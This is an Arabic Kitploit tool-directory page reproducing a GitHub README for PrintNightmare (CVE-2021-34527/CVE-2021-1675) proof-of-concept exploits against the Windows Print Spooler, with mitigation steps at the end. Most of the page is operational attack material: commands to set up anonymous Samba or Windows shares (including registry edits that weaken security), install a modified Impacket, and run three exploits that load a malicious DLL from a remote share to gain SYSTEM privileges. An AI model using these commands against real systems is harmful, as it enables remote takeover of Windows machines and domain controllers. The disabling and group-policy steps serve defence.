Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PrintNightmare-CVE-2021-34527 — PrintNightmare - استغلالات إثبات المفهوم لثغرة RCE/LPE في Windows Print Spooler (CVE-2021-34527, CVE-2021-1675) | Kitploit
أدوات/GitHubGitHub/nemo-wq/printnightmare-cve-2021-34527
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHubnemo-wq/printnightmare-cve-2021-34527

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PrintNightmare-CVE-2021-34527

PrintNightmare - استغلالات إثبات المفهوم لثغرة RCE/LPE في Windows Print Spooler (CVE-2021-34527, CVE-2021-1675)

عرض المستودع
1754143منذ 5 سنواتتمت المراجعة من قبل Kitploit

PrintNightmare - ثغرة RCE/LPE في Windows Print Spooler (CVE-2021-34527, CVE-2021-1675)

ملخص

هذه ثغرة تنفيذ تعليمات برمجية عن بُعد يمكن استخدامها للحصول على امتيازات على مستوى SYSTEM من قبل مستخدم بعيد مصادَق ضد أجهزة ويندوز التي تعمل بخدمة التخزين المؤقت للطباعة (Print Spooler). يمكن للمهاجم بعد ذلك استخدام هذا الوصول لإنشاء حسابات جديدة، أو محاولة تثبيت برامج، أو عرض البيانات أو تغييرها أو حذفها، أو إنشاء حسابات جديدة بصلاحيات مستخدم كاملة.

توجد هذه الثغرة بسبب خلل في التحقق من التفويض في خدمة Print Spooler spoolsv.exe على أنظمة ويندوز، والذي يسمح للمستخدمين البعيدين المصادَق عليهم بتثبيت برامج تشغيل الطابعة باستخدام استدعاء RPC الخاص بـ RpcAddPrinterDriver وتحديد ملف برنامج تشغيل موجود في موقع بعيد. يمكن للمستخدم الخبيث الذي يستغل ذلك الحصول على امتيازات على مستوى SYSTEM على نظام ويندوز يعمل بهذه الخدمة عن طريق حقن مكتبات DLL خبيثة كجزء من تثبيت برنامج تشغيل الطابعة.

على الرغم من أن مايكروسوفت أصدرت تحديثًا لـ CVE-2021-1675، إلا أن هذا التحديث لا يحمي وحدات تحكم مجال Active Directory أو أنظمة ويندوز التي تم تكوين Point and Print فيها مع خيار NoWarningNoElevationOnInstall.

يوجد في هذا المستودع ثلاثة تطبيقات لإثبات الاستغلال (PoC):

  • سكربت CVE-2021-34527 بلغة بايثون بواسطة cube0x0
  • SharpPrintNightmare بواسطة cube0x0
  • EXP بواسطة afwu (Printnightmare)

التفاصيل الفنية

الأنظمة المتأثرة

  • جميع إصدارات ويندوز تحتوي على الكود المعرض للثغرة وتكون معرضة لها اعتبارًا من 4 يوليو 2021. تم اختبار الاستغلالات على Windows 2019 Server وWindows 10 Pro.

إثباتات الاستغلال (PoC)

نظرًا لأن خدمة RPC تسمح للجهاز العميل بتوفير موقع لتنزيل برامج تشغيل الطابعة من قبل الخادم البعيد، يمكن استخدام الخيارات التالية لاستضافة الحمولة وتحديد المسار عند تشغيل الاستغلال:

إعداد مشاركة Samba

  • يونكس/لينكس:

    لإعداد وصول الضيف في Samba، تحتاج إلى إعداد مستخدم سيتم تسجيل الدخول به. تأكد من وجود مستخدم smbuser في النظام، وإلا قم بإنشاء واحد بكلمة مرور password

    id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
    

    قم بتحرير /etc/samba/smb.conf وقم بتمكين الوصول المجهول

    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • ويندوز:

    mkdir C:\share
    icacls C:\share\ /T /grant Anonymous` logon:r
    icacls C:\share\ /T /grant Everyone:r
    New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

فيما يلي تعليمات محدثة قليلاً عن تلك المقدمة من cube0x0:

سكربت CVE-2021-34527 بلغة بايثون

هذا هو تطبيق Impacket لاستغلال Printnightmare بواسطة cube0x0. قبل تشغيل الاستغلال، تحتاج إلى تثبيت نسخة معدلة من Impacket:

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

استخدام الاستغلال:

يجب تشغيل كود استغلال هذه الثغرة باستخدام بايثون 3

usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SharpPrintNightmare

يحتوي دليل SharpPrintNightmare/ على تطبيق C# لاستغلال Printnightmare، لكل من رفع الامتيازات المحلية (LPE) (CVE-2021-1675) وتنفيذ التعليمات البرمجية عن بُعد (RCE). تتطلب وظيفة RCE التنفيذ بصلاحيات مسؤول محلي على الجهاز الذي يقوم بتشغيل الاستغلال.

استخدام الاستغلال:

#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password

تعليمات استخدام EXP/ من afwu

استخدام الاستغلال:

.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##

التخفيف/الحلول البديلة

تحديد ما إذا كانت خدمة Print Spooler قيد التشغيل

قم بتشغيل ما يلي:

Get-Service -Name Spooler

إذا كانت خدمة Print Spooler قيد التشغيل أو إذا لم تكن الخدمة مضبوطة على معطلة، فاختر أحد الخيارات التالية إما لتعطيل خدمة Print Spooler، أو لتعطيل الطباعة البعيدة الواردة عبر نهج المجموعة:

الخيار الأول - تعطيل خدمة Print Spooler

إذا كان تعطيل خدمة Print Spooler مناسبًا لمؤسستك، فاستخدم أوامر PowerShell التالية (توصية من مايكروسوفت):

Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

أو قم بتعطيل خدمة Spooler باستخدام السجل

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

أو قم بإلغاء تثبيت خدمات الطباعة

Uninstall-WindowsFeature Print-Services

سيؤدي هذا إلى تعطيل إمكانية الطباعة محليًا وعن بُعد.

الخيار الثاني - تعطيل الطباعة البعيدة الواردة عبر نهج المجموعة

يمكنك أيضًا تكوين الإعدادات عبر نهج المجموعة كما يلي:

Computer Configuration / Administrative Templates / Printers

قم بتعطيل سياسة “Allow Print Spooler to accept client connections:” لمنع الهجمات عن بُعد.

ستحظر هذه السياسة ناقل الهجوم عن بُعد عن طريق منع عمليات الطباعة البعيدة الواردة. لن يعمل النظام بعد الآن كخادم طباعة، لكن الطباعة المحلية إلى جهاز متصل مباشرة ستظل ممكنة.

لمزيد من المعلومات، راجع: استخدام إعدادات نهج المجموعة للتحكم في الطابعات.

شكر وتقدير

  • وفقًا لنشرة MSRC الأمنية، تم الإبلاغ عن هذه الثغرة من قبل Zhipeng Huo وPiotr Madej وZhang Yunhai.
  • cube0x0
  • afwu
تنزيل الأداة